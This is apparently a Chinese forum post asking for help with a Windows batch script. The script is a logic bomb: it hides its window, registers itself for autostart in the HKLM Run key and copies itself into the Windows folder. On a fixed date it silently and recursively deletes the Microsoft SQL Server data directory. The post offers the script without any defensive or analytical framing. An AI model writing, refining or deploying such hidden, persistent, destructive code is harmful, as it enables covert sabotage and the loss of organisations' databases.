高手帮我看看这段删除代码
@echo offif "%1"=="h" goto begin
start mshta vbscript:createobject("wscript.shell").run("""%~nx0"" h",0)(window.close)&&exit
::隐藏窗口
:begin
echo wscript.sleep 2000 >%temp%\sl.vbs
::输出暂停程序,暂停2000毫秒
reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v sysstart /t REG_SZ /d %windir%\unstat.vbs /f >nul
::修改注册表,自启动
echo set objShell=wscript.createObject("wscript.shell")>%windir%\unstat.vbs
echo iReturn=objShell.Run("cmd.exe /C %windir%\unstat.bat h", 0, TRUE)>>%windir%\unstat.vbs
copy /y %0 %windir%\unstat.bat
:run
if "%date:~0,10%"=="2012-06-05" goto do
::日期到了就转向标签do
exit
::否则退出
:do
rd C:\"Program Files"\"Microsoft SQL Server"\MSSQL\Data /s /q
::删除文件与文件夹